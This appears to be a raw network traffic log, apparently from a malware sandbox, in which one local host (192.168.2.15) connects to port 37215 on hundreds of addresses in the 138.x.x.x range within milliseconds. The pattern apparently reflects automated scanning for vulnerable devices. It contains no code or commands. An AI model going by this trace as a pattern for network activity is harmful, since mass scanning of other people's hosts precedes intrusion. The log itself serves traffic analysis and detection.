Feb 19, 2024 18:36:18.890350103 CET	18052	37215	192.168.2.15	138.235.130.30
Feb 19, 2024 18:36:18.890361071 CET	18052	37215	192.168.2.15	138.175.37.187
Feb 19, 2024 18:36:18.890373945 CET	18052	37215	192.168.2.15	138.98.99.218
Feb 19, 2024 18:36:18.890392065 CET	18052	37215	192.168.2.15	138.74.72.96
Feb 19, 2024 18:36:18.890403986 CET	18052	37215	192.168.2.15	138.57.151.197
Feb 19, 2024 18:36:18.890419960 CET	18052	37215	192.168.2.15	138.153.246.13
Feb 19, 2024 18:36:18.890435934 CET	18052	37215	192.168.2.15	138.178.90.110
Feb 19, 2024 18:36:18.890448093 CET	18052	37215	192.168.2.15	138.209.173.188
Feb 19, 2024 18:36:18.890467882 CET	18052	37215	192.168.2.15	138.34.202.231
Feb 19, 2024 18:36:18.890485048 CET	18052	37215	192.168.2.15	138.236.240.94
Feb 19, 2024 18:36:18.890506029 CET	18052	37215	192.168.2.15	138.106.232.75
Feb 19, 2024 18:36:18.890535116 CET	18052	37215	192.168.2.15	138.250.152.16
Feb 19, 2024 18:36:18.890564919 CET	18052	37215	192.168.2.15	138.104.172.71
Feb 19, 2024 18:36:18.890568018 CET	18052	37215	192.168.2.15	138.197.25.194
Feb 19, 2024 18:36:18.890604019 CET	18052	37215	192.168.2.15	138.139.75.224
Feb 19, 2024 18:36:18.890634060 CET	18052	37215	192.168.2.15	138.84.249.204
Feb 19, 2024 18:36:18.890659094 CET	18052	37215	192.168.2.15	138.172.173.26
Feb 19, 2024 18:36:18.890676975 CET	18052	37215	192.168.2.15	138.83.78.99
Feb 19, 2024 18:36:18.890717030 CET	18052	37215	192.168.2.15	138.92.195.163
Feb 19, 2024 18:36:18.890731096 CET	18052	37215	192.168.2.15	138.186.45.71
Feb 19, 2024 18:36:18.890752077 CET	18052	37215	192.168.2.15	138.160.170.250
Feb 19, 2024 18:36:18.890767097 CET	18052	37215	192.168.2.15	138.212.60.231
Feb 19, 2024 18:36:18.890783072 CET	18052	37215	192.168.2.15	138.66.181.135
Feb 19, 2024 18:36:18.890799999 CET	18052	37215	192.168.2.15	138.59.194.61
Feb 19, 2024 18:36:18.890813112 CET	18052	37215	192.168.2.15	138.240.189.163
Feb 19, 2024 18:36:18.890832901 CET	18052	37215	192.168.2.15	138.182.241.70
Feb 19, 2024 18:36:18.890850067 CET	18052	37215	192.168.2.15	138.97.103.21
Feb 19, 2024 18:36:18.890867949 CET	18052	37215	192.168.2.15	138.57.239.187
Feb 19, 2024 18:36:18.890887976 CET	18052	37215	192.168.2.15	138.46.170.98
Feb 19, 2024 18:36:18.890921116 CET	18052	37215	192.168.2.15	138.77.113.248
Feb 19, 2024 18:36:18.890944958 CET	18052	37215	192.168.2.15	138.253.169.245
Feb 19, 2024 18:36:18.890959024 CET	18052	37215	192.168.2.15	138.175.237.49
Feb 19, 2024 18:36:18.890969038 CET	18052	37215	192.168.2.15	138.231.159.79
Feb 19, 2024 18:36:18.890986919 CET	18052	37215	192.168.2.15	138.198.189.118
Feb 19, 2024 18:36:18.891046047 CET	18052	37215	192.168.2.15	138.15.16.4
Feb 19, 2024 18:36:18.891050100 CET	18052	37215	192.168.2.15	138.254.219.34
Feb 19, 2024 18:36:18.891067982 CET	18052	37215	192.168.2.15	138.47.51.33
Feb 19, 2024 18:36:18.891068935 CET	18052	37215	192.168.2.15	138.75.126.12
Feb 19, 2024 18:36:18.891088009 CET	18052	37215	192.168.2.15	138.48.213.32
Feb 19, 2024 18:36:18.891103983 CET	18052	37215	192.168.2.15	138.211.46.229
Feb 19, 2024 18:36:18.891122103 CET	18052	37215	192.168.2.15	138.127.1.128
Feb 19, 2024 18:36:18.891139984 CET	18052	37215	192.168.2.15	138.28.21.164
Feb 19, 2024 18:36:18.891156912 CET	18052	37215	192.168.2.15	138.192.3.206
Feb 19, 2024 18:36:18.891170979 CET	18052	37215	192.168.2.15	138.57.135.110
Feb 19, 2024 18:36:18.891191959 CET	18052	37215	192.168.2.15	138.44.156.127
Feb 19, 2024 18:36:18.891213894 CET	18052	37215	192.168.2.15	138.174.140.130
Feb 19, 2024 18:36:18.891246080 CET	18052	37215	192.168.2.15	138.84.224.208
Feb 19, 2024 18:36:18.891264915 CET	18052	37215	192.168.2.15	138.10.200.92
Feb 19, 2024 18:36:18.891280890 CET	18052	37215	192.168.2.15	138.136.237.201
Feb 19, 2024 18:36:18.891295910 CET	18052	37215	192.168.2.15	138.85.229.253
Feb 19, 2024 18:36:18.891310930 CET	18052	37215	192.168.2.15	138.135.140.149
Feb 19, 2024 18:36:18.891331911 CET	18052	37215	192.168.2.15	138.227.1.159
Feb 19, 2024 18:36:18.891362906 CET	18052	37215	192.168.2.15	138.29.177.112
Feb 19, 2024 18:36:18.891381025 CET	18052	37215	192.168.2.15	138.60.166.117
Feb 19, 2024 18:36:18.891397953 CET	18052	37215	192.168.2.15	138.164.102.130
Feb 19, 2024 18:36:18.891413927 CET	18052	37215	192.168.2.15	138.202.2.77
Feb 19, 2024 18:36:18.891433001 CET	18052	37215	192.168.2.15	138.98.75.135
Feb 19, 2024 18:36:18.891452074 CET	18052	37215	192.168.2.15	138.61.134.207
Feb 19, 2024 18:36:18.891465902 CET	18052	37215	192.168.2.15	138.189.170.195
Feb 19, 2024 18:36:18.891483068 CET	18052	37215	192.168.2.15	138.178.166.207
Feb 19, 2024 18:36:18.891500950 CET	18052	37215	192.168.2.15	138.249.144.62
Feb 19, 2024 18:36:18.891520023 CET	18052	37215	192.168.2.15	138.66.20.92
Feb 19, 2024 18:36:18.891535044 CET	18052	37215	192.168.2.15	138.155.164.102
Feb 19, 2024 18:36:18.891551018 CET	18052	37215	192.168.2.15	138.12.117.244
Feb 19, 2024 18:36:18.891567945 CET	18052	37215	192.168.2.15	138.19.176.66
Feb 19, 2024 18:36:18.891583920 CET	18052	37215	192.168.2.15	138.61.222.83
Feb 19, 2024 18:36:18.891598940 CET	18052	37215	192.168.2.15	138.143.233.239
Feb 19, 2024 18:36:18.891614914 CET	18052	37215	192.168.2.15	138.215.179.211
Feb 19, 2024 18:36:18.891633034 CET	18052	37215	192.168.2.15	138.111.191.71
Feb 19, 2024 18:36:18.891652107 CET	18052	37215	192.168.2.15	138.58.193.104
Feb 19, 2024 18:36:18.891668081 CET	18052	37215	192.168.2.15	138.202.80.106
Feb 19, 2024 18:36:18.891688108 CET	18052	37215	192.168.2.15	138.177.110.12
Feb 19, 2024 18:36:18.891704082 CET	18052	37215	192.168.2.15	138.150.33.87
Feb 19, 2024 18:36:18.891721010 CET	18052	37215	192.168.2.15	138.3.5.155
Feb 19, 2024 18:36:18.891736984 CET	18052	37215	192.168.2.15	138.97.78.45
Feb 19, 2024 18:36:18.891752005 CET	18052	37215	192.168.2.15	138.216.77.138
Feb 19, 2024 18:36:18.891769886 CET	18052	37215	192.168.2.15	138.125.134.151
Feb 19, 2024 18:36:18.891788960 CET	18052	37215	192.168.2.15	138.240.162.91
Feb 19, 2024 18:36:18.891804934 CET	18052	37215	192.168.2.15	138.134.215.241
Feb 19, 2024 18:36:18.891819000 CET	18052	37215	192.168.2.15	138.129.65.118
Feb 19, 2024 18:36:18.891834974 CET	18052	37215	192.168.2.15	138.103.113.158
Feb 19, 2024 18:36:18.891853094 CET	18052	37215	192.168.2.15	138.235.72.158
Feb 19, 2024 18:36:18.891869068 CET	18052	37215	192.168.2.15	138.32.163.172
Feb 19, 2024 18:36:18.891887903 CET	18052	37215	192.168.2.15	138.11.84.83
Feb 19, 2024 18:36:18.891902924 CET	18052	37215	192.168.2.15	138.92.182.151
Feb 19, 2024 18:36:18.891921043 CET	18052	37215	192.168.2.15	138.233.124.14
Feb 19, 2024 18:36:18.891936064 CET	18052	37215	192.168.2.15	138.231.80.15
Feb 19, 2024 18:36:18.891957045 CET	18052	37215	192.168.2.15	138.61.97.56
Feb 19, 2024 18:36:18.891973972 CET	18052	37215	192.168.2.15	138.241.23.139
Feb 19, 2024 18:36:18.891987085 CET	18052	37215	192.168.2.15	138.25.179.182
Feb 19, 2024 18:36:18.892004967 CET	18052	37215	192.168.2.15	138.217.227.54
Feb 19, 2024 18:36:18.892024994 CET	18052	37215	192.168.2.15	138.32.137.250
Feb 19, 2024 18:36:18.892040968 CET	18052	37215	192.168.2.15	138.65.248.140
Feb 19, 2024 18:36:18.892059088 CET	18052	37215	192.168.2.15	138.132.44.51
Feb 19, 2024 18:36:18.892076015 CET	18052	37215	192.168.2.15	138.120.170.16
Feb 19, 2024 18:36:18.892091990 CET	18052	37215	192.168.2.15	138.62.191.108
Feb 19, 2024 18:36:18.892108917 CET	18052	37215	192.168.2.15	138.226.238.220
Feb 19, 2024 18:36:18.892126083 CET	18052	37215	192.168.2.15	138.129.1.92
Feb 19, 2024 18:36:18.892146111 CET	18052	37215	192.168.2.15	138.167.175.65
Feb 19, 2024 18:36:18.892158031 CET	18052	37215	192.168.2.15	138.127.51.7
Feb 19, 2024 18:36:18.892174006 CET	18052	37215	192.168.2.15	138.237.104.32
Feb 19, 2024 18:36:18.892191887 CET	18052	37215	192.168.2.15	138.100.254.157
Feb 19, 2024 18:36:18.892206907 CET	18052	37215	192.168.2.15	138.169.105.204
Feb 19, 2024 18:36:18.892221928 CET	18052	37215	192.168.2.15	138.176.125.236
Feb 19, 2024 18:36:18.892239094 CET	18052	37215	192.168.2.15	138.158.198.186
Feb 19, 2024 18:36:18.892256021 CET	18052	37215	192.168.2.15	138.57.76.72
Feb 19, 2024 18:36:18.892275095 CET	18052	37215	192.168.2.15	138.113.87.253
Feb 19, 2024 18:36:18.892290115 CET	18052	37215	192.168.2.15	138.213.108.15
Feb 19, 2024 18:36:18.892307997 CET	18052	37215	192.168.2.15	138.229.104.68
Feb 19, 2024 18:36:18.892326117 CET	18052	37215	192.168.2.15	138.2.142.49
Feb 19, 2024 18:36:18.892343044 CET	18052	37215	192.168.2.15	138.58.109.173
Feb 19, 2024 18:36:18.892359972 CET	18052	37215	192.168.2.15	138.245.23.130
Feb 19, 2024 18:36:18.892378092 CET	18052	37215	192.168.2.15	138.191.139.191
Feb 19, 2024 18:36:18.892395020 CET	18052	37215	192.168.2.15	138.20.138.25
Feb 19, 2024 18:36:18.892410994 CET	18052	37215	192.168.2.15	138.137.185.2
Feb 19, 2024 18:36:18.892429113 CET	18052	37215	192.168.2.15	138.179.231.4
Feb 19, 2024 18:36:18.892448902 CET	18052	37215	192.168.2.15	138.153.95.66
Feb 19, 2024 18:36:18.892462969 CET	18052	37215	192.168.2.15	138.115.81.60
Feb 19, 2024 18:36:18.892484903 CET	18052	37215	192.168.2.15	138.71.19.26
Feb 19, 2024 18:36:18.892498970 CET	18052	37215	192.168.2.15	138.58.186.29
Feb 19, 2024 18:36:18.892517090 CET	18052	37215	192.168.2.15	138.8.53.196
Feb 19, 2024 18:36:18.892533064 CET	18052	37215	192.168.2.15	138.235.176.132
Feb 19, 2024 18:36:18.892554998 CET	18052	37215	192.168.2.15	138.175.230.68
Feb 19, 2024 18:36:18.892568111 CET	18052	37215	192.168.2.15	138.98.119.158
Feb 19, 2024 18:36:18.892589092 CET	18052	37215	192.168.2.15	138.67.201.27
Feb 19, 2024 18:36:18.892606020 CET	18052	37215	192.168.2.15	138.229.251.80
Feb 19, 2024 18:36:18.892623901 CET	18052	37215	192.168.2.15	138.183.123.109
Feb 19, 2024 18:36:18.892641068 CET	18052	37215	192.168.2.15	138.12.82.75
Feb 19, 2024 18:36:18.892659903 CET	18052	37215	192.168.2.15	138.74.169.31
Feb 19, 2024 18:36:18.892676115 CET	18052	37215	192.168.2.15	138.125.104.113
Feb 19, 2024 18:36:18.892693996 CET	18052	37215	192.168.2.15	138.49.122.97
Feb 19, 2024 18:36:18.892709970 CET	18052	37215	192.168.2.15	138.123.155.213
Feb 19, 2024 18:36:18.892728090 CET	18052	37215	192.168.2.15	138.89.233.224
Feb 19, 2024 18:36:18.892745972 CET	18052	37215	192.168.2.15	138.193.242.87
Feb 19, 2024 18:36:18.892762899 CET	18052	37215	192.168.2.15	138.62.95.237
Feb 19, 2024 18:36:18.892780066 CET	18052	37215	192.168.2.15	138.132.111.160
Feb 19, 2024 18:36:18.892797947 CET	18052	37215	192.168.2.15	138.251.144.84
Feb 19, 2024 18:36:18.892815113 CET	18052	37215	192.168.2.15	138.43.76.111
Feb 19, 2024 18:36:18.892832041 CET	18052	37215	192.168.2.15	138.54.54.138
Feb 19, 2024 18:36:18.892848969 CET	18052	37215	192.168.2.15	138.115.136.221
Feb 19, 2024 18:36:18.892863989 CET	18052	37215	192.168.2.15	138.232.155.219
Feb 19, 2024 18:36:18.892879963 CET	18052	37215	192.168.2.15	138.6.52.63
Feb 19, 2024 18:36:18.892895937 CET	18052	37215	192.168.2.15	138.220.126.201
Feb 19, 2024 18:36:18.892913103 CET	18052	37215	192.168.2.15	138.179.103.38
Feb 19, 2024 18:36:18.892926931 CET	18052	37215	192.168.2.15	138.216.23.239
Feb 19, 2024 18:36:18.892946005 CET	18052	37215	192.168.2.15	138.4.226.144
Feb 19, 2024 18:36:18.892962933 CET	18052	37215	192.168.2.15	138.123.112.185
Feb 19, 2024 18:36:18.892980099 CET	18052	37215	192.168.2.15	138.155.131.184
Feb 19, 2024 18:36:18.892993927 CET	18052	37215	192.168.2.15	138.156.178.231
Feb 19, 2024 18:36:18.893013954 CET	18052	37215	192.168.2.15	138.203.238.75
Feb 19, 2024 18:36:18.893029928 CET	18052	37215	192.168.2.15	138.52.22.231
Feb 19, 2024 18:36:18.893049955 CET	18052	37215	192.168.2.15	138.62.216.186
Feb 19, 2024 18:36:18.893063068 CET	18052	37215	192.168.2.15	138.248.100.201
Feb 19, 2024 18:36:18.893083096 CET	18052	37215	192.168.2.15	138.119.224.164
Feb 19, 2024 18:36:18.893091917 CET	18052	37215	192.168.2.15	138.149.92.220
Feb 19, 2024 18:36:18.893106937 CET	18052	37215	192.168.2.15	138.197.130.23
Feb 19, 2024 18:36:18.893122911 CET	18052	37215	192.168.2.15	138.249.161.146
Feb 19, 2024 18:36:18.893138885 CET	18052	37215	192.168.2.15	138.50.11.193
Feb 19, 2024 18:36:18.893155098 CET	18052	37215	192.168.2.15	138.204.250.162
Feb 19, 2024 18:36:18.893170118 CET	18052	37215	192.168.2.15	138.47.117.233
Feb 19, 2024 18:36:18.893186092 CET	18052	37215	192.168.2.15	138.63.64.210
Feb 19, 2024 18:36:18.893203974 CET	18052	37215	192.168.2.15	138.122.126.118
Feb 19, 2024 18:36:18.893223047 CET	18052	37215	192.168.2.15	138.17.6.117
Feb 19, 2024 18:36:18.893240929 CET	18052	37215	192.168.2.15	138.63.69.97
Feb 19, 2024 18:36:18.893259048 CET	18052	37215	192.168.2.15	138.193.126.254
Feb 19, 2024 18:36:18.893275023 CET	18052	37215	192.168.2.15	138.230.73.12
Feb 19, 2024 18:36:18.893321991 CET	18052	37215	192.168.2.15	138.216.152.17
Feb 19, 2024 18:36:18.893337011 CET	18052	37215	192.168.2.15	138.156.92.207
Feb 19, 2024 18:36:18.893352985 CET	18052	37215	192.168.2.15	138.15.248.33
Feb 19, 2024 18:36:18.893369913 CET	18052	37215	192.168.2.15	138.175.166.150
Feb 19, 2024 18:36:18.893385887 CET	18052	37215	192.168.2.15	138.249.50.51
Feb 19, 2024 18:36:18.893398046 CET	18052	37215	192.168.2.15	138.0.206.151
Feb 19, 2024 18:36:18.893413067 CET	18052	37215	192.168.2.15	138.71.168.66
Feb 19, 2024 18:36:18.893434048 CET	18052	37215	192.168.2.15	138.31.164.60
Feb 19, 2024 18:36:18.893448114 CET	18052	37215	192.168.2.15	138.166.87.91
Feb 19, 2024 18:36:18.893465042 CET	18052	37215	192.168.2.15	138.66.252.223
Feb 19, 2024 18:36:18.893482924 CET	18052	37215	192.168.2.15	138.42.203.104
Feb 19, 2024 18:36:18.893498898 CET	18052	37215	192.168.2.15	138.148.14.76
Feb 19, 2024 18:36:18.893513918 CET	18052	37215	192.168.2.15	138.14.36.143
Feb 19, 2024 18:36:18.893532991 CET	18052	37215	192.168.2.15	138.162.6.56
Feb 19, 2024 18:36:18.893549919 CET	18052	37215	192.168.2.15	138.90.191.94
Feb 19, 2024 18:36:18.893564939 CET	18052	37215	192.168.2.15	138.45.244.248
Feb 19, 2024 18:36:18.893583059 CET	18052	37215	192.168.2.15	138.151.155.131
Feb 19, 2024 18:36:18.893599987 CET	18052	37215	192.168.2.15	138.133.64.73
Feb 19, 2024 18:36:18.893615961 CET	18052	37215	192.168.2.15	138.87.187.133
Feb 19, 2024 18:36:18.893632889 CET	18052	37215	192.168.2.15	138.109.147.203
Feb 19, 2024 18:36:18.893650055 CET	18052	37215	192.168.2.15	138.191.43.106
Feb 19, 2024 18:36:18.893665075 CET	18052	37215	192.168.2.15	138.27.134.0
Feb 19, 2024 18:36:18.893677950 CET	18052	37215	192.168.2.15	138.101.112.131
Feb 19, 2024 18:36:18.893693924 CET	18052	37215	192.168.2.15	138.226.180.155
Feb 19, 2024 18:36:18.893709898 CET	18052	37215	192.168.2.15	138.225.213.169
Feb 19, 2024 18:36:18.893728018 CET	18052	37215	192.168.2.15	138.96.250.216
Feb 19, 2024 18:36:18.893740892 CET	18052	37215	192.168.2.15	138.202.161.57
Feb 19, 2024 18:36:18.893774033 CET	18052	37215	192.168.2.15	138.173.212.223
Feb 19, 2024 18:36:18.893820047 CET	18052	37215	192.168.2.15	138.251.136.3
Feb 19, 2024 18:36:18.893820047 CET	18052	37215	192.168.2.15	138.158.249.168
Feb 19, 2024 18:36:18.893827915 CET	18052	37215	192.168.2.15	138.75.0.247
Feb 19, 2024 18:36:18.893836021 CET	18052	37215	192.168.2.15	138.189.83.140
Feb 19, 2024 18:36:18.893847942 CET	18052	37215	192.168.2.15	138.255.226.21
Feb 19, 2024 18:36:18.893866062 CET	18052	37215	192.168.2.15	138.173.232.15
Feb 19, 2024 18:36:18.893914938 CET	18052	37215	192.168.2.15	138.140.197.28
Feb 19, 2024 18:36:18.893915892 CET	18052	37215	192.168.2.15	138.129.178.87
Feb 19, 2024 18:36:18.893918991 CET	18052	37215	192.168.2.15	138.82.226.218
Feb 19, 2024 18:36:18.893976927 CET	18052	37215	192.168.2.15	138.203.41.18
Feb 19, 2024 18:36:18.893980026 CET	18052	37215	192.168.2.15	138.94.162.40
Feb 19, 2024 18:36:18.893985033 CET	18052	37215	192.168.2.15	138.210.98.140
Feb 19, 2024 18:36:18.894017935 CET	18052	37215	192.168.2.15	138.48.89.14
Feb 19, 2024 18:36:18.894017935 CET	18052	37215	192.168.2.15	138.35.92.166
Feb 19, 2024 18:36:18.894017935 CET	18052	37215	192.168.2.15	138.236.228.159
Feb 19, 2024 18:36:18.894022942 CET	18052	37215	192.168.2.15	138.183.162.252
Feb 19, 2024 18:36:18.894040108 CET	18052	37215	192.168.2.15	138.228.92.137
Feb 19, 2024 18:36:18.894057035 CET	18052	37215	192.168.2.15	138.157.143.81
Feb 19, 2024 18:36:18.894118071 CET	18052	37215	192.168.2.15	138.203.140.93
Feb 19, 2024 18:36:18.894164085 CET	18052	37215	192.168.2.15	138.137.94.60
Feb 19, 2024 18:36:18.894164085 CET	18052	37215	192.168.2.15	138.151.177.128
Feb 19, 2024 18:36:18.894164085 CET	18052	37215	192.168.2.15	138.115.179.194
Feb 19, 2024 18:36:18.894165039 CET	18052	37215	192.168.2.15	138.135.165.208
Feb 19, 2024 18:36:18.894170046 CET	18052	37215	192.168.2.15	138.175.10.162
Feb 19, 2024 18:36:18.894186974 CET	18052	37215	192.168.2.15	138.5.149.151
Feb 19, 2024 18:36:18.894198895 CET	18052	37215	192.168.2.15	138.172.74.96
Feb 19, 2024 18:36:18.894221067 CET	18052	37215	192.168.2.15	138.198.62.153
Feb 19, 2024 18:36:18.894262075 CET	18052	37215	192.168.2.15	138.89.24.66
Feb 19, 2024 18:36:18.894313097 CET	18052	37215	192.168.2.15	138.141.140.200
Feb 19, 2024 18:36:18.894313097 CET	18052	37215	192.168.2.15	138.134.22.103
Feb 19, 2024 18:36:18.894314051 CET	18052	37215	192.168.2.15	138.24.130.140
Feb 19, 2024 18:36:18.894320965 CET	18052	37215	192.168.2.15	138.20.94.192
Feb 19, 2024 18:36:18.894341946 CET	18052	37215	192.168.2.15	138.42.74.155
Feb 19, 2024 18:36:18.894361019 CET	18052	37215	192.168.2.15	138.67.246.212
Feb 19, 2024 18:36:18.894442081 CET	18052	37215	192.168.2.15	138.19.108.53
Feb 19, 2024 18:36:18.894444942 CET	18052	37215	192.168.2.15	138.99.106.43
Feb 19, 2024 18:36:18.894452095 CET	18052	37215	192.168.2.15	138.77.23.82
Feb 19, 2024 18:36:18.894453049 CET	18052	37215	192.168.2.15	138.202.89.43
Feb 19, 2024 18:36:18.894463062 CET	18052	37215	192.168.2.15	138.102.125.12
Feb 19, 2024 18:36:18.894478083 CET	18052	37215	192.168.2.15	138.46.106.79
Feb 19, 2024 18:36:18.894491911 CET	18052	37215	192.168.2.15	138.99.112.35
Feb 19, 2024 18:36:18.894545078 CET	18052	37215	192.168.2.15	138.49.235.191
Feb 19, 2024 18:36:18.894545078 CET	18052	37215	192.168.2.15	138.252.104.40
Feb 19, 2024 18:36:18.894562006 CET	18052	37215	192.168.2.15	138.68.19.8
Feb 19, 2024 18:36:18.894582033 CET	18052	37215	192.168.2.15	138.236.40.232
Feb 19, 2024 18:36:18.894668102 CET	18052	37215	192.168.2.15	138.65.169.93
Feb 19, 2024 18:36:18.894668102 CET	18052	37215	192.168.2.15	138.76.158.34
Feb 19, 2024 18:36:18.894680977 CET	18052	37215	192.168.2.15	138.197.77.107
Feb 19, 2024 18:36:18.894680977 CET	18052	37215	192.168.2.15	138.43.191.199
Feb 19, 2024 18:36:18.894681931 CET	18052	37215	192.168.2.15	138.202.217.252
Feb 19, 2024 18:36:18.894716024 CET	18052	37215	192.168.2.15	138.53.159.184
Feb 19, 2024 18:36:18.894731998 CET	18052	37215	192.168.2.15	138.44.44.127
Feb 19, 2024 18:36:18.894747019 CET	18052	37215	192.168.2.15	138.61.235.158
Feb 19, 2024 18:36:18.894761086 CET	18052	37215	192.168.2.15	138.142.39.207
Feb 19, 2024 18:36:18.894761086 CET	18052	37215	192.168.2.15	138.192.160.61
Feb 19, 2024 18:36:18.894772053 CET	18052	37215	192.168.2.15	138.43.210.118
Feb 19, 2024 18:36:18.894789934 CET	18052	37215	192.168.2.15	138.158.27.165
Feb 19, 2024 18:36:18.894821882 CET	18052	37215	192.168.2.15	138.45.173.32
Feb 19, 2024 18:36:18.894881010 CET	18052	37215	192.168.2.15	138.76.220.225
Feb 19, 2024 18:36:18.894939899 CET	18052	37215	192.168.2.15	138.233.181.84
Feb 19, 2024 18:36:18.894968033 CET	18052	37215	192.168.2.15	138.191.185.141
Feb 19, 2024 18:36:18.894968033 CET	18052	37215	192.168.2.15	138.207.199.162
Feb 19, 2024 18:36:18.894969940 CET	18052	37215	192.168.2.15	138.221.200.105
Feb 19, 2024 18:36:18.894992113 CET	18052	37215	192.168.2.15	138.128.187.154
Feb 19, 2024 18:36:18.895061016 CET	18052	37215	192.168.2.15	138.222.193.2
Feb 19, 2024 18:36:18.895061970 CET	18052	37215	192.168.2.15	138.157.105.210
Feb 19, 2024 18:36:18.895081997 CET	18052	37215	192.168.2.15	138.48.89.175
Feb 19, 2024 18:36:18.895086050 CET	18052	37215	192.168.2.15	138.103.152.203
Feb 19, 2024 18:36:18.895097017 CET	18052	37215	192.168.2.15	138.13.171.141
Feb 19, 2024 18:36:18.895118952 CET	18052	37215	192.168.2.15	138.31.76.66
Feb 19, 2024 18:36:18.895133972 CET	18052	37215	192.168.2.15	138.117.8.193
Feb 19, 2024 18:36:18.895144939 CET	18052	37215	192.168.2.15	138.179.13.80
Feb 19, 2024 18:36:18.895149946 CET	18052	37215	192.168.2.15	138.128.31.184
Feb 19, 2024 18:36:18.895200014 CET	18052	37215	192.168.2.15	138.116.14.253
Feb 19, 2024 18:36:18.895243883 CET	18052	37215	192.168.2.15	138.94.175.253
Feb 19, 2024 18:36:18.895257950 CET	18052	37215	192.168.2.15	138.48.40.77
Feb 19, 2024 18:36:18.895275116 CET	18052	37215	192.168.2.15	138.71.160.207
Feb 19, 2024 18:36:18.895286083 CET	18052	37215	192.168.2.15	138.228.13.124
Feb 19, 2024 18:36:18.895292997 CET	18052	37215	192.168.2.15	138.150.234.59
Feb 19, 2024 18:36:18.895355940 CET	18052	37215	192.168.2.15	138.137.119.104
Feb 19, 2024 18:36:18.895378113 CET	18052	37215	192.168.2.15	138.96.100.9
Feb 19, 2024 18:36:18.895378113 CET	18052	37215	192.168.2.15	138.145.205.84
Feb 19, 2024 18:36:18.895400047 CET	18052	37215	192.168.2.15	138.73.4.101
Feb 19, 2024 18:36:18.895401001 CET	18052	37215	192.168.2.15	138.167.79.249
Feb 19, 2024 18:36:18.895416021 CET	18052	37215	192.168.2.15	138.7.74.155
Feb 19, 2024 18:36:18.895441055 CET	18052	37215	192.168.2.15	138.116.178.214
Feb 19, 2024 18:36:18.895518064 CET	18052	37215	192.168.2.15	138.71.65.223
Feb 19, 2024 18:36:18.895520926 CET	18052	37215	192.168.2.15	138.2.238.217
Feb 19, 2024 18:36:18.895520926 CET	18052	37215	192.168.2.15	138.155.43.232
Feb 19, 2024 18:36:18.895544052 CET	18052	37215	192.168.2.15	138.26.109.8
Feb 19, 2024 18:36:18.895556927 CET	18052	37215	192.168.2.15	138.219.122.159
Feb 19, 2024 18:36:18.895576954 CET	18052	37215	192.168.2.15	138.8.250.130
Feb 19, 2024 18:36:18.895596981 CET	18052	37215	192.168.2.15	138.152.29.32
Feb 19, 2024 18:36:18.895679951 CET	18052	37215	192.168.2.15	138.207.9.180
Feb 19, 2024 18:36:18.895680904 CET	18052	37215	192.168.2.15	138.50.227.182
Feb 19, 2024 18:36:18.895710945 CET	18052	37215	192.168.2.15	138.212.121.236
Feb 19, 2024 18:36:18.895716906 CET	18052	37215	192.168.2.15	138.245.87.151
Feb 19, 2024 18:36:18.895716906 CET	18052	37215	192.168.2.15	138.245.160.247
Feb 19, 2024 18:36:18.895716906 CET	18052	37215	192.168.2.15	138.95.46.85
Feb 19, 2024 18:36:18.895726919 CET	18052	37215	192.168.2.15	138.211.219.186
Feb 19, 2024 18:36:18.895762920 CET	18052	37215	192.168.2.15	138.38.103.167
Feb 19, 2024 18:36:18.895817995 CET	18052	37215	192.168.2.15	138.76.64.208
Feb 19, 2024 18:36:18.895819902 CET	18052	37215	192.168.2.15	138.92.234.3
Feb 19, 2024 18:36:18.895823956 CET	18052	37215	192.168.2.15	138.69.158.138
Feb 19, 2024 18:36:18.895823956 CET	18052	37215	192.168.2.15	138.128.5.84
Feb 19, 2024 18:36:18.895840883 CET	18052	37215	192.168.2.15	138.212.252.202
Feb 19, 2024 18:36:18.895859003 CET	18052	37215	192.168.2.15	138.53.107.151
Feb 19, 2024 18:36:18.895940065 CET	18052	37215	192.168.2.15	138.56.40.35
Feb 19, 2024 18:36:18.895941019 CET	18052	37215	192.168.2.15	138.19.130.161
Feb 19, 2024 18:36:18.895956993 CET	18052	37215	192.168.2.15	138.83.187.145
Feb 19, 2024 18:36:18.895982027 CET	18052	37215	192.168.2.15	138.89.11.16
Feb 19, 2024 18:36:18.895989895 CET	18052	37215	192.168.2.15	138.48.225.194
Feb 19, 2024 18:36:18.896009922 CET	18052	37215	192.168.2.15	138.254.236.208
Feb 19, 2024 18:36:18.896022081 CET	18052	37215	192.168.2.15	138.205.135.225
Feb 19, 2024 18:36:18.896040916 CET	18052	37215	192.168.2.15	138.20.64.200
Feb 19, 2024 18:36:18.896056890 CET	18052	37215	192.168.2.15	138.251.208.67
Feb 19, 2024 18:36:18.896076918 CET	18052	37215	192.168.2.15	138.231.59.133
Feb 19, 2024 18:36:18.896094084 CET	18052	37215	192.168.2.15	138.251.31.215
Feb 19, 2024 18:36:18.896115065 CET	18052	37215	192.168.2.15	138.77.149.124
Feb 19, 2024 18:36:18.896193027 CET	18052	37215	192.168.2.15	138.40.244.45
Feb 19, 2024 18:36:18.896193027 CET	18052	37215	192.168.2.15	138.196.118.254
Feb 19, 2024 18:36:18.896198034 CET	18052	37215	192.168.2.15	138.252.121.60
Feb 19, 2024 18:36:18.896209002 CET	18052	37215	192.168.2.15	138.247.227.22
Feb 19, 2024 18:36:18.896226883 CET	18052	37215	192.168.2.15	138.30.2.67
Feb 19, 2024 18:36:18.896244049 CET	18052	37215	192.168.2.15	138.141.27.112
Feb 19, 2024 18:36:18.896280050 CET	18052	37215	192.168.2.15	138.177.30.121
Feb 19, 2024 18:36:18.896291018 CET	18052	37215	192.168.2.15	138.135.187.104
Feb 19, 2024 18:36:18.896291018 CET	18052	37215	192.168.2.15	138.112.40.177
Feb 19, 2024 18:36:18.896291018 CET	18052	37215	192.168.2.15	138.178.14.255
Feb 19, 2024 18:36:18.896327972 CET	18052	37215	192.168.2.15	138.96.47.34
Feb 19, 2024 18:36:18.896331072 CET	18052	37215	192.168.2.15	138.172.112.121
Feb 19, 2024 18:36:18.896332026 CET	18052	37215	192.168.2.15	138.231.194.95
Feb 19, 2024 18:36:18.896403074 CET	18052	37215	192.168.2.15	138.51.153.32
Feb 19, 2024 18:36:18.896428108 CET	18052	37215	192.168.2.15	138.120.114.15
Feb 19, 2024 18:36:18.896430969 CET	18052	37215	192.168.2.15	138.229.237.178
Feb 19, 2024 18:36:18.896431923 CET	18052	37215	192.168.2.15	138.111.159.243
Feb 19, 2024 18:36:18.896431923 CET	18052	37215	192.168.2.15	138.99.154.43
Feb 19, 2024 18:36:18.896454096 CET	18052	37215	192.168.2.15	138.140.56.84
Feb 19, 2024 18:36:18.896507978 CET	18052	37215	192.168.2.15	138.246.88.160
